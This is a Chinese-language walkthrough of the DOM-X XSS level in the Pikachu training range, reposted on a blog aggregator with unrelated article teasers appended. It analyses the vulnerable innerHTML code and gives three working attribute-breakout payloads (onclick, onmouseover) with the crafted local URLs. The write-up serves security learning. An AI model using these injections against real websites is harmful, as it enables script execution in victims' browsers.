pikachu靶場通關筆記09 XSS關卡05-DOM型XSS-X

目錄

一、XSS

二、DOM型XSS

三、源碼分析

1、打開DOM-X型XSS關卡

2、XSS探測

3、源碼分析

四、滲透實戰

1、Payload1

2、Payload2

3、Payload3

五、DOM型XSS與DOM-X型XSS區別


本系列為通過《pikachu靶場通關筆記》的XSS攻擊關卡(共10關)滲透集合,通過對XSS關卡源碼的代碼審計找到真實原因,講解XSS原理并進行滲透實踐,本文為XSS關卡05-DOM-X型XSS的滲透部分,并對比04關DOM型XSS,從源碼分析和原理對比兩者的區別。

一、XSS

XSS 全稱為跨站腳本攻擊(Cross - Site Scripting),因其高危害性長期位列OWASP Top 10安全威脅。攻擊者通過注入惡意腳本(通常為JavaScript)到網頁中,腳本在其瀏覽器執行。XSS主要分為3種類別,具體如下表所示。

分類

存儲型XSS

(Stored XSS)

反射型XSS

(Reflected XSS)

DOM型XSS

(DOM-based XSS)

存儲位置服務器(數據庫/文件)URL參數(不存儲)前端DOM(不經過服務器)
觸發方式用戶訪問被污染的頁面自動執行用戶點擊惡意鏈接后臨時反射執行前端JS操作DOM時動態觸發
持久性長期存在一次性(需誘導點擊)依賴用戶當前頁面操作
檢測難度中(需掃描存儲內容)中(需構造惡意URL)高(需人工審計前端代碼)
典型場景論壇評論、用戶資料頁搜索框、錯誤頁面SPA應用、動態路由
服務端參與是(存儲+返回惡意代碼)是(反射惡意代碼)否(純前端)
防御重點輸入過濾+輸出編碼URL參數消毒+CSP策略安全的DOM操作+前端驗證
修復成本高(需清理數據庫)中(修改參數處理邏輯)中(重構前端代碼)

二、DOM型XSS

DOM型XSS(DOM-based XSS)是一種純客戶端的跨站腳本攻擊,惡意腳本通過前端JavaScript動態操作DOM觸發,不經過服務器處理。攻擊者利用URL片段(如#<script>alert(1)</script>)或輸入字段注入惡意代碼,當頁面使用innerHTML、eval()或location.hash等危險API解析內容時執行。常見于單頁應用(SPA)和動態網頁,傳統WAF難以檢測。與存儲型/反射型XSS不同,DOM型完全在瀏覽器端完成攻擊鏈,是現代化Web應用的高危風險。

分類DOM型XSS
別名Type-0 XSS、純客戶端XSS
攻擊入口URL片段(#后)、location.search、前端輸入字段(如document.getElementById().value
觸發條件前端使用危險API動態操作DOM(如innerHTMLdocument.writeeval()
數據流不經過服務器,直接在瀏覽器端解析執行
攻擊特點繞過服務端檢測(WAF無效),依賴前端代碼邏輯風險
防御措施1. 避免innerHTML(用textContentcreateElement
2. 輸入消毒(DOMPurify庫)
3. CSP策略(禁止內聯腳本)
檢測難點需人工審計前端代碼,自動化工具易漏檢

三、源碼分析

1、打開DOM-X型XSS關卡

進入pikachu靶場XSS系列的05關卡 DOM-X型XSS頁面,讓說出你的傷心往事,具體打如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php

2、XSS探測

輸入關鍵字判斷是否有過濾,關鍵字包括:單引號、雙引號、左右尖括號、問號、&、字符串與數字,接下來我們在搜索框輸入'"<>?&ljn20241019進行探測,如下所示。

???????'"<>?&ljn20241019

點擊如上鏈接進入下圖界面,發現此時輸出的內容與上一步的輸入有區別,?如下所示。

3、源碼分析

查看DOM-X型XSS關卡源碼xss_dom.php文件內容,右鍵源碼,CTRL+F搜素關鍵詞上圖中出現的關鍵字“風”,發現一個js函數,利用了DOM將字符串進行了拼接并把值給a標簽的href,然后輸出,具體如下所示。

這段代碼存在DOM-X型 XSS 安全風險,具體的源碼經過詳細注釋后如下所示。

<div class="page-content"><div id="xssd_main"><script>function domxss(){var str = window.location.search;// 從URL獲取參數var txss = decodeURIComponent(str.split("text=")[1]);// 解碼URL編碼并提取text參數值(危險操作!)var xss = txss.replace(/\+/g,' ');// 將+號替換為空格(不影響XSS攻擊)// 直接將用戶輸入拼接到HTML中(核心注入點)document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";}// 攻擊者可以嘗試以下Payload:// 1. '><img src="#" onmouseover="alert('xss')">// 2. ' onclick="alert('xss')"></script><!-- 表單提交text參數到當前URL --><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="請說出你的傷心往事"/></form><!-- 惡意代碼將注入到這個DOM節點 --><div id="dom"></div></div>
</div>

分析可知本關卡JS代碼定義了一個domxss函數,它利用 window.location.search 獲取瀏覽器中URL的內容,然后賦值給str,然后經過URL解碼和字符串分隔,取出URL中的參數內容。再把 “+” 替換為 “ ”(空格),賦值給 xss,最后把 xss拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中。函數的執行流程如下所示。

步驟代碼作用風險
1window.location.search獲取URL中?后的查詢字符串(如?text=payload直接暴露用戶可控輸入
2str.split("text=")[1]提取text參數的值(未檢查參數是否存在)text不存在會導致undefined錯誤
3decodeURIComponent()解碼URL編碼字符(如%3C恢復為<還原可能含有的惡意代碼
4replace(/\+/g, ' ')+號替換為空格(URL中空格可能被編碼為+不影響XSS攻擊
5innerHTML = "<a href='"+xss+"'>動態生成<a>標簽,用戶輸入直接拼接到href屬性未轉義字符導致DOM-XSS風險

本關卡的根源在于不可信數據未經驗證直接插入DOM,關鍵代碼如下所示。

function domxss() {// 獲取當前URL的查詢參數(如 ?text=惡意代碼)var str = window.location.search;// 提取text參數值并解碼URL編碼var txss = decodeURIComponent(str.split("text=")[1]);// 將+號替換為空格(處理URL中空格被編碼為+的情況)var xss = txss.replace(/\+/g, ' ');// 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOMdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
}

四、滲透實戰

    滲透的方法是通過<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>構成閉合,對比DOM型XSS關卡的閉合參數如下所示。

    DOM-X型:<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>
    DOM型:  <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    閉合后:<a href='#' οnclick="alert("ljn")">'>就讓往事都隨風,都隨風吧</a>

    點擊請說出你的傷心事后,下方生成鏈接,URL地址如下所示。

    ?http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#

    經過URL decode后的完整URL鏈接如下所示。

    ?http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#

    點擊鏈接后,彈框ljn,接下來進行如下分析:右鍵元素-點擊查看器-Ctrl+F搜索關鍵字“風”,如下所示。

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    ?閉合后:<a href οnclick="alert('ljn')"> >'就讓往事都隨風,都隨風吧</a>?

    如上所示,點擊請說出你的傷心事后,下方生成鏈接,URL地址如下所示。?

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E

    經過URL decode后的完整URL鏈接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">

    點擊鏈接,彈出“ljn”,XSS攻擊成功,如下所示。?

    3、Payload3

    payload3: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    閉合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就讓往事都隨風,都隨風吧</a>

    再次點擊“有些費盡心機想要忘記的事情,后來真的就忘掉了”的URL鏈接。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E

    ?經過URL decode后的完整URL鏈接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">

    點擊鏈接后生成如下界面,注意紅框處是一個圖表,鼠標放到下圖紅框處就可以彈框。

    鼠標放到上圖紅框部分,即可彈框“ljn”,說明滲透成功,具體如下所示。

    五、DOM型XSS與DOM-X型XSS區別

    第四關DOM型XSS關鍵代碼如下所示,參數從表單獲取。

    var str = document.getElementById("text").value; // 從頁面表單獲取用戶輸入 
    // 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOM       
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    

    ?第五關DOM-X型XSS關鍵代碼如下所示,參數從URL種獲取。

    var str = window.location.search;// 獲取當前URL的查詢參數(如 ?text=惡意代碼)
    var txss = decodeURIComponent(str.split("text=")[1]); // 提取text參數值并解碼URL編碼
    var xss = txss.replace(/\+/g, ' ');// 將+號替換為空格(比如處理URL中空格被編碼為+的情況)// 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOM
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧

    分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因為它能夠像反射型一樣在URL中體現,將URL發給了受害者就能進行攻擊,兩者詳細區別如下所示。

    對比維度dom-x xss關卡?函數(第五關)dom xss?函數(第四關)
    輸入來源從window.location.search獲取URL參數(如?text=腳本從document.getElementById("text").value獲取表單輸入值
    觸發方式

    頁面加載時自動執行

    (需直接訪問含惡意參數的URL)

    需要用戶手動輸入內容并點擊按鈕觸發
    攻擊復雜度低(攻擊者只需構造惡意URL)中(需要誘導用戶在輸入框輸入惡意內容并點擊)
    利用場景通過釣魚鏈接傳播需要用戶主動在頁面交互
    參數處理自動解碼URL編碼(decodeURIComponent)直接使用原始輸入(未解碼URL編碼)
    代碼相似點均使用innerHTML直接拼接未過濾的用戶輸入到DOM均使用innerHTML直接拼接未過濾的用戶輸入到DOM
    典型攻擊Payload?text='><img src=x onerror=alert(1)>輸入框輸入:'><img src=x onerror=alert(1)>
    防御難度

    更難防御(URL參數可能被各種工具自動編碼/解碼)

    較易防御(可通過前端輸入檢查攔截)
    修復建議1. 使用textContent替代innerHTML
    2. 嚴格校驗URL參數
    1. 使用textContent
    2. 表單輸入時實時過濾特殊字符

    本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
    如若轉載,請注明出處:http://www.pswp.cn/diannao/85473.shtml
    繁體地址,請注明出處:http://hk.pswp.cn/diannao/85473.shtml
    英文地址,請注明出處:http://en.pswp.cn/diannao/85473.shtml

    如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

    相關文章

    湖北理元理律所:企業債務重組中的“法律緩沖帶”設計

    一、擔保鏈危機的法律拆解技術 中小企業債務困局多源于擔保鏈蔓延。本所處理某制造企業案例時&#xff0c;運用三層法律工具阻斷風險傳導&#xff1a; 1. 主合同審查 → 發現銀行擅自變更借款用途 → 援引《民法典》第695條解除擔保 2. 股東責任切割 → 證明企業財產獨立 …

    調整數據集的方法

    我們對worldquant中的數據&#xff0c; 對數據頻率怎么算 在 WorldQuant 平臺中&#xff0c;數據更新頻率是影響量化策略有效性、回測準確性和實盤交易表現的核心因素之一。它決定了數據的時效性和連續性&#xff0c;直接關系到策略能否捕捉市場動態、應對突發事件或適應不同…

    [Linux] Linux 系統從啟動到驅動加載

    Linux 系統從啟動到驅動加載 文章目錄 Linux 系統從啟動到驅動加載一、硬件上電與 BIOS/UEFI 階段1. 1 硬件上電初始化1.2 BIOS/UEFI執行過程1.3 Bootloader加載細節 二、Bootloader 階段三、Linux 內核初始化3.1 架構相關初始化&#xff08;setup_arch&#xff09;3.2 核心子系…

    Spring Boot DevTools 熱部署

    在Spring Boot項目中加入 spring-boot-devtools 熱部署依賴啟動器后&#xff0c;通常不需要手動重啟項目即可讓更改生效。spring-boot-devtools 的核心特性之一就是自動重啟或熱加載。 Spring Boot DevTools 熱部署關鍵知識點 &#x1f525; 目的&#xff1a;spring-boot-devt…

    uni-app學習筆記十五-vue3頁面生命周期(二)

    onShow&#xff1a;用于監聽頁面顯示&#xff0c;頁面每次出現在屏幕上都觸發&#xff0c;包括從下級頁面點返回露出當前頁面&#xff1b; onHide:監聽頁面隱藏&#xff0c;當離開當前頁面時觸發。 示例代碼&#xff1a; <template><view>姓名&#xff1a;{{nam…

    LIKE ‘%xxx%‘ 和 LIKE ‘xxx%‘ 的索引影響分析

    LIKE ‘%xxx%’ 和 LIKE ‘xxx%’ 的索引影響分析 一、基礎概念解析 1.1 LIKE操作符的工作原理 LIKE是SQL中用于模式匹配的操作符,支持兩種通配符: %:匹配任意數量字符(包括零個字符)_:匹配單個字符go專欄:https://duoke360.com/tutorial/path/golang 1.2 數據庫索引…

    【軟件測試】測試框架(unittest/pytest)

    本文介紹了Python 中最常用的兩個測試框架&#xff1a;unittest 和 pytest&#xff0c;幫助你編寫更規范、可維護的自動化測試用例。 一、unittest 框架 unittest 是 Python 內置的標準庫&#xff0c;無需額外安裝&#xff0c;適合初學者入門。它借鑒了 JUnit 的設計理念&…

    麒麟信安安裝谷歌瀏覽器

    參考文檔 麒麟信安系統Chrome離線安裝包&#xff1a;高效便捷的瀏覽器解決方案-CSDN博客 項目文件預覽 - 麒麟信安系統Chrome離線安裝包:本倉庫提供了一個適用于麒麟信安系統的Chrome瀏覽器離線安裝包。該安裝包包含了所有必要的依賴文件&#xff0c;并且已經對系統中已有的依…

    Wireshark 使用教程:讓抓包不再神秘

    一、什么是 tshark&#xff1f; tshark 是 Wireshark 的命令行版本&#xff0c;支持幾乎所有 Wireshark 的核心功能。它可以用來&#xff1a; 抓包并保存為 pcap 文件 實時顯示數據包信息 提取指定字段進行分析 配合 shell 腳本完成自動化任務 二、安裝與驗證 Kali Linux…

    從0到1:多醫院陪診小程序開發筆記(上)

    概要設計 醫院陪診預約小程序&#xff1a;隨著移動互聯網的普及&#xff0c;越來越多的醫院陪診服務開始向線上轉型, 傳統的預約方式往往效率低下&#xff0c;用戶需耗費大量時間進行電話預約或現場排隊&#xff0c;陪診服務預約小程序集多種服務于一體&#xff0c;可以提高服…

    定時任務:springboot集成xxl-job-core(二)

    定時任務實現方式&#xff1a; 存在的問題&#xff1a; xxl-job的原理&#xff1a; 可以根據服務器的個數進行動態分片&#xff0c;每臺服務器分到的處理數據是不一樣的。 1. 多臺機器動態注冊 多臺機器同時配置了調度器xxl-job-admin之后&#xff0c;執行器那里會有多個注…

    Unity使用Lua框架和C#框架開發游戲的區別

    在Unity中使用Lua框架和C#框架開發游戲有顯著的區別&#xff0c;主要體現在性能、開發效率、熱更新能力、維護成本等方面。 1. 語言類型與設計目標 維度LuaC#類型動態類型、解釋型腳本語言靜態類型、編譯型面向對象語言設計初衷輕量級嵌入、配置和擴展宿主程序通用開發&#…

    高精度文檔解析利器:Mistral OCR 全面解析與技術應用

    目錄 &#x1f680; 高精度文檔解析利器&#xff1a;Mistral OCR 全面解析與技術應用 一、什么是 Mistral OCR&#xff1f; 二、Mistral OCR 的核心特點 ? 1. 支持復雜文檔結構解析 ? 2. 高識別精度 ? 3. 與 AI 系統深度集成 ? 4. 可擴展性與容錯能力 三、技術原理…

    騰訊云開發者社區文章內容提取免費API接口教程

    接口簡介&#xff1a; 提取指定騰訊云開發者社區文章內容。本接口僅做內容提取&#xff0c;未經作者授權請勿轉載。 請求地址&#xff1a; https://cn.apihz.cn/api/caiji/tencent.php 請求方式&#xff1a; POST或GET。 請求參數&#xff1a; 【名稱】【參數】【必填】【說…

    【項目】在線OJ(負載均衡式)

    目錄 一、項目目標 二、開發環境 1.技術棧 2.開發環境 三、項目樹 目錄結構 功能邏輯 編寫思路 四、編碼 1.complie_server 服務功能 代碼藍圖 開發編譯功能 日志功能 ?編輯 測試編譯模塊 開發運行功能 設置運行限制 jsoncpp 編寫CR 如何生成唯一文件名 …

    【后端高階面經:架構篇】50、數據存儲架構:如何改善系統的數據存儲能力?

    一、數據存儲架構設計核心原則 (一)分層存儲架構:讓數據各得其所 根據數據訪問頻率和價值,將數據劃分為熱、溫、冷三層,匹配不同存儲介質,實現性能與成本的平衡。 熱數據層:訪問頻率>100次/秒。采用Redis集群存儲高頻訪問數據(如用戶登錄態、實時交易數據),配合…

    B1、進度匯報(— 25/05/31)

    本文檔匯總了各成員在 2025 年 5 月 11 日 ~ 5 月 31 日完成的工作。我們遇到了進度問題&#xff08;收工后需反思&#xff09;&#xff1a; 本學期第十四周&#xff08;05/19 ~ 05/25&#xff09;有相當多課程需要提交實驗結果或上臺展示。本學期第十六周&#xff08;06/02 ~…

    每天總結一個html標簽——a標簽

    文章目錄 一、定義與使用說明二、支持的屬性三、支持的事件四、默認樣式五、常見用法1. 文本鏈接2. 圖片鏈接3. 導航欄 在前端開發中&#xff0c;a標簽&#xff08;錨點標簽&#xff09;是最常用的HTML標簽之一&#xff0c;主要用于創建超鏈接&#xff0c;實現頁面間的跳轉或下…

    云服務器突發宕機或無響應怎么辦

    當云服務器突發宕機或無響應時&#xff0c;需快速定位問題并恢復服務。以下是分步驟的解決方案&#xff1a; 1. 初步確認問題 檢查網絡連接 本地網絡是否正常&#xff1f;嘗試 ping 其他網站 排除本地問題。 使用 ping <服務器IP> 或 traceroute <IP> 測試網絡連通…

    動態IP與區塊鏈:重構網絡信任的底層革命

    在數字經濟蓬勃發展的今天&#xff0c;網絡安全與數據隱私正面臨前所未有的挑戰。動態IP技術與區塊鏈的深度融合&#xff0c;正在構建一個去中心化、高可信的網絡基礎設施&#xff0c;為Web3.0時代的到來奠定基礎。 一、技術碰撞&#xff1a;動態IP與區塊鏈的天然契合 動態I…